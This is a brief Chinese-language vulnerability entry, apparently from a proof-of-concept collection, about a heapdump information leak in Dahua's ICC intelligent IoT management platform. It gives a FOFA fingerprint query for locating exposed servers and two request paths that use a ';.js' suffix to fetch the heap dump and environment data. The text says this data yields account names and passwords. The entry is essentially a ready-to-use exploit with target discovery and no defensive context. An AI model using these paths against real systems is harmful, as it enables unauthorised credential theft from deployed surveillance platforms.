大华ICC智能物联综合管理平台heapdump敏感信息泄露

大华ICC智能物联综合管理平台heapdump敏感信息泄露

大华ICC智能物联综合管理平台heapdump文件敏感信息泄露，可以获取账号和密码。

fofa

1
body="static/fontshd/font-hd.css" || body="客户端会小于800"

poc

1
2
/evo-apigw/dsc-mac/heapdump;.js
/evo-apigw/dsc-mac/env;.js

image-20240702231803309